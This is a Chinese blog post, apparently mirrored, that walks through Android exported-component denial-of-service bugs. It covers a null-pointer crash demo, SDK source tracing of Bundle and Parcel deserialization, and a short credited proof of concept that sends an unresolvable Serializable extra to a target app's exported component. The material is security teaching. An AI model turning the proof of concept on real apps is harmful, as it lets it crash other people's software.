zoukankan      html  css  js  c++  java
  • APP-SECURITY-404 组件导出漏洞复现

    参考资料:https://github.com/wnagzihxa1n/APP-SECURITY-404/blob/master/2.%E7%BB%84%E4%BB%B6%E5%AF%BC%E5%87%BA%E6%BC%8F%E6%B4%9E-Intent%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1/%E7%BB%84%E4%BB%B6%E5%AF%BC%E5%87%BA%E6%BC%8F%E6%B4%9E-Intent%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1.md

    工具:https://mp.weixin.qq.com/s?__biz=MzU4NTgzMzQ4NQ==&mid=2247484426&idx=1&sn=6a7069b57b4457eb4b9b1fc44a1f49b0&chksm=fd85c968caf2407ee95e381b62c9a6924ddf3b8cc402df96c823987a160d870c9e072258c5ac&mpshare=1&scene=23&srcid=08140JksuKvKZskXsOqZ2JbN&sharer_sharetime=1597401346780&sharer_shareid=90f1ee6dedb9b967505567982ba5e26c%23rd

    一.概述

    组件就不多介绍了,安卓的四大组件:activity,service,broadcastReciver,ContentProvider

    导出: 其他的应用或组件通过发送intent对象的方式调用其他组件。

    intent是一种消息传递对象,intent的基本知识放个博客链接:

    https://blog.csdn.net/salary/article/details/82865454

    这个漏洞的主要原理还是在于对intent对象的处理没有添加异常事件所导致。

    二.漏洞复现

    二.1 简单类型

    先写了两个activity,其中一个activity通过发送intent对象方式来启动另一个activity,并把数据存在了intent对象中,一起发送过去。

    第一个activity

    package com.example.twoapplication;
    
    import androidx.appcompat.app.AppCompatActivity;
    
    import android.content.Intent;
    import android.os.Bundle;
    
    public class MainActivity extends AppCompatActivity {
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
            Intent intent =new Intent(MainActivity.this,Activity1.class); //本质都是构造了compantName对象(封装了被调用组件的信息)
            //传输数据给Activity
            intent.putExtra("str1","i am str1");
            startActivity(intent);
        }
    }

    第二个activity

    package com.example.twoapplication;
    
    import androidx.appcompat.app.AppCompatActivity;
    
    import android.content.Intent;
    import android.os.Bundle;
    import android.widget.Toast;
    
    public class Activity1 extends AppCompatActivity {
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_1);
            Intent intent=getIntent();
            String str1=intent.getStringExtra("str1");
            Toast.makeText(this,"str1="+str1,Toast.LENGTH_SHORT).show();
        }
    }

    这里其实很简单,就是主活动通过发送包含数据的intent方式调用另一个活动组件,另一个活动通过getStringExtr方法来将数据取出来,再生成一个消息提示框,将取出来的字符串拼接好,放入对话框中

    那么假设,我把第一个存数据的代码注释掉,会发生什么呢

    package com.example.twoapplication;
    
    import androidx.appcompat.app.AppCompatActivity;
    
    import android.content.Intent;
    import android.os.Bundle;
    
    public class MainActivity extends AppCompatActivity {
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
            Intent intent =new Intent(MainActivity.this,Activity1.class); //本质都是构造了compantName对象(封装了被调用组件的信息)
            //传输数据给Activity
            //intent.putExtra("str1","i am str1");
            startActivity(intent);
        }
    }

    第二个活动的代码不变,这时候运行一下我们的app。

     发现虽然没有这key-value存在,但是似乎自动生成了个key-value,不过value默认是null。这里没啥问题,但如果我的

    第二个活动代码是这样写的话

    package com.example.twoapplication;
    
    import androidx.appcompat.app.AppCompatActivity;
    
    import android.content.Intent;
    import android.os.Bundle;
    import android.widget.Toast;
    
    public class Activity1 extends AppCompatActivity {
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_1);
            Intent intent=getIntent();
            String str1=intent.getStringExtra("str1");
            if(str1.equals("i am str1"))
            {
                Toast.makeText(this,"str1="+str1,Toast.LENGTH_SHORT).show();
            }
           
        }
    }

    这里有点意思是equals方法,这个方法是继承父类object类的,也就意味着只有对象才能引用这个对象

    然后这里有可能出现str1为null的情况,String str1其实是引用,赋值给null是没毛病的,只是这里出问题

    应该是程序员的忽视了,这里的修改意见应该是先判断是否为null,如果是null就没必要比较了,因为不可能

    相等的,null和对象相等不存在好吧,如果不是null,那值得一比,不过第一个比较是用==,因为不是比字符串

    的值了,没必要用equals,也不可能用。

    这里运行一下,肯定会出现空指针异常,这里可以查下崩溃日志

    点击android studio左下角的按钮就可以查看崩溃日志

      这里报的是空指针异常,达到目的了,一是没有预防,二是没有去处理这个异常,添加try/catch是个不错的方式

    二.2 复杂类型的组件导出

    之前那种简单的组件导出基本上不会出现了,不过还有一种更复杂一些的,前面算是程序员粗心导致的,后面这种是算是逻辑错误

    这里聚集在获取intent中数据的方法getStringExtra这里,这个地方要去看sdk的源码,因为我是mac,command+鼠标单击就会自动

    跳转到这个对应方法的源码,不过一开始我sdk版本设置的过高,30的安卓10的版本直接裂开,根本没有源码,我就去改了build.gradle里面的

    sdk版本号,然后同步了一下,没想到成功了,改成了29之后,本来下sdk时,就直接把源码也下载下来,这下就可以看源码了。

     这里先看getStringExtra的源码

    public @Nullable String getStringExtra(String name) {
            return mExtras == null ? null : mExtras.getString(name);
        }
    private Bundle mExtras;
     

    这个mExtras的类型是Bundle,这里的再跟着mExtras.getString的方法看看,发现是在BaseBundle类中找到的这个方法,应该是它父类的方法

       @Nullable
        public String getString(@Nullable String key) {
            unparcel();
            final Object o = mMap.get(key);
            try {
                return (String) o;
            } catch (ClassCastException e) {
                typeWarning(key, o, "String", e);
                return null;
            }
        }

    unparcel是反序列化方法,跟进去一波。

     @UnsupportedAppUsage
        /* package */ void unparcel() {
            synchronized (this) {
                final Parcel source = mParcelledData;
                if (source != null) {
                    initializeFromParcelLocked(source, /*recycleParcel=*/ true, mParcelledByNative);
                } else {
                    if (DEBUG) {
                        Log.d(TAG, "unparcel "
                                + Integer.toHexString(System.identityHashCode(this))
                                + ": no parcelled data");
                    }
                }
            }
        }
    
        private void initializeFromParcelLocked(@NonNull Parcel parcelledData, boolean recycleParcel,
                boolean parcelledByNative) {
            if (LOG_DEFUSABLE && sShouldDefuse && (mFlags & FLAG_DEFUSABLE) == 0) {
                Slog.wtf(TAG, "Attempting to unparcel a Bundle while in transit; this may "
                        + "clobber all data inside!", new Throwable());
            }
    
            if (isEmptyParcel(parcelledData)) {
                if (DEBUG) {
                    Log.d(TAG, "unparcel "
                            + Integer.toHexString(System.identityHashCode(this)) + ": empty");
                }
                if (mMap == null) {
                    mMap = new ArrayMap<>(1);
                } else {
                    mMap.erase();
                }
                mParcelledData = null;
                mParcelledByNative = false;
                return;
            }
    
            final int count = parcelledData.readInt();
            if (DEBUG) {
                Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this))
                        + ": reading " + count + " maps");
            }
            if (count < 0) {
                return;
            }
            ArrayMap<String, Object> map = mMap;
            if (map == null) {
                map = new ArrayMap<>(count);
            } else {
                map.erase();
                map.ensureCapacity(count);
            }
            try {
                if (parcelledByNative) {
                    // If it was parcelled by native code, then the array map keys aren't sorted
                    // by their hash codes, so use the safe (slow) one.
                    parcelledData.readArrayMapSafelyInternal(map, count, mClassLoader);
                } else {
                    // If parcelled by Java, we know the contents are sorted properly,
                    // so we can use ArrayMap.append().
                    parcelledData.readArrayMapInternal(map, count, mClassLoader);
                }
            } catch (BadParcelableException e) {
                if (sShouldDefuse) {
                    Log.w(TAG, "Failed to parse Bundle, but defusing quietly", e);
                    map.erase();
                } else {
                    throw e;
                }
            } finally {
                mMap = map;
                if (recycleParcel) {
                    recycleParcel(parcelledData);
                }
                mParcelledData = null;
                mParcelledByNative = false;
            }
            if (DEBUG) {
                Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this))
                        + " final map: " + mMap);
            }
        }

    这里不知道为啥我跟不进这个函数,裂开,parcel这个类,是一个共享内存,将序列化数据存进去,同时也可以通过parcel对象

    将对象反序列化取出来,这里大概知道intent发送数据,是先将key -value的值序列化存进parcel,然后其他组件再通过parcel

    对象通过类加载器和类名,解析反序列化出相对应的对象出来,存进map中。

    ---以下源码源自王师傅

    /* package */ void readArrayMapInternal(ArrayMap outVal, int N,
        ClassLoader loader) {
        if (DEBUG_ARRAY_MAP) {
            RuntimeException here =  new RuntimeException("here");
            here.fillInStackTrace();
            Log.d(TAG, "Reading " + N + " ArrayMap entries", here);
        }
        int startPos;
        while (N > 0) {
            if (DEBUG_ARRAY_MAP) startPos = dataPosition();
            String key = readString();
            Object value = readValue(loader);
            if (DEBUG_ARRAY_MAP) Log.d(TAG, "  Read #" + (N-1) + " "
                    + (dataPosition()-startPos) + " bytes: key=0x"
                    + Integer.toHexString((key != null ? key.hashCode() : 0)) + " " + key);
            outVal.append(key, value);
            N--;
        }
        outVal.validate();
    }

    再跟readValue方法

    public final Object readValue(ClassLoader loader) {
        int type = readInt();
    
        switch (type) {
        case VAL_NULL:
            return null;
    
        case VAL_STRING:
            return readString();
    
        case VAL_INTEGER:
            return readInt();
    
        ......
    
        case VAL_SERIALIZABLE:
            return readSerializable(loader);
    
        ......
    
        default:
            int off = dataPosition() - 4;
            throw new RuntimeException(
                "Parcel " + this + ": Unmarshalling unknown type code " + type + " at offset " + off);
        }
    }

    这个readSerializable方法有点意思,其实就是反序列化把对象取出来

    再跟进去看看

    private final Serializable readSerializable(final ClassLoader loader) {
        String name = readString();
        if (name == null) {
            // For some reason we were unable to read the name of the Serializable (either there
            // is nothing left in the Parcel to read, or the next value wasn't a String), so
            // return null, which indicates that the name wasn't found in the parcel.
            return null;
        }
    
        byte[] serializedData = createByteArray();
        ByteArrayInputStream bais = new ByteArrayInputStream(serializedData);
        try {
            ObjectInputStream ois = new ObjectInputStream(bais) {
                @Override
                protected Class<?> resolveClass(ObjectStreamClass osClass)
                        throws IOException, ClassNotFoundException {
                    // try the custom classloader if provided
                    if (loader != null) {
                        Class<?> c = Class.forName(osClass.getName(), false, loader);
                        if (c != null) {
                            return c;
                        }
                    }
                    return super.resolveClass(osClass);
                }
            };
            return (Serializable) ois.readObject();
        } catch (IOException ioe) {
            throw new RuntimeException("Parcelable encountered " +
                "IOException reading a Serializable object (name = " + name +
                ")", ioe);
        } catch (ClassNotFoundException cnfe) {
            throw new RuntimeException("Parcelable encountered " +
                "ClassNotFoundException reading a Serializable object (name = "
                + name + ")", cnfe);
        }
    }

    发现就是查找反序化类,然后反序列化对象出来,如果没有找到反序列化的类,就会抛出异常,这里就是突破口

    假设传入的序列化的类找不到,而且并没有用try/catch来处理异常,那么就会崩溃。

    poc 贴下王师傅的

    public class MainActivity extends Activity {
        private static final String TAG = "MainActivity";
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
            try {
                Intent intent = new Intent();
                intent.setComponent(new ComponentName(target_package_name, target_component_name));
                intent.putExtra("serializable_key", new DataSchema());
                startActivity(intent);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    
    class DataSchema implements Serializable {
        private static final long serialVersionUID = -1L;
    }
  • 相关阅读:
    Web server failed to start. Port 8080 was already in use.
    org.springframework.context.ApplicationContextException: Unable to start web server; nested exception is org.springframework.context.ApplicationContextException: Unable to start ServletWebServerApplic
    HttpClient测试框架
    Mock接口平台Moco学习
    自动化测试框架TestNG
    css常用记录...个人查看使用
    常用JS工具类 .....持续更新中 ...CV大法好
    element-upload覆盖默认行为(多个文件上传调用一次接口)
    基础术语理解
    MVC和MVVM设计模式简单理解
  • 原文地址:https://www.cnblogs.com/YenKoc/p/13509614.html
Copyright © 2011-2022 走看看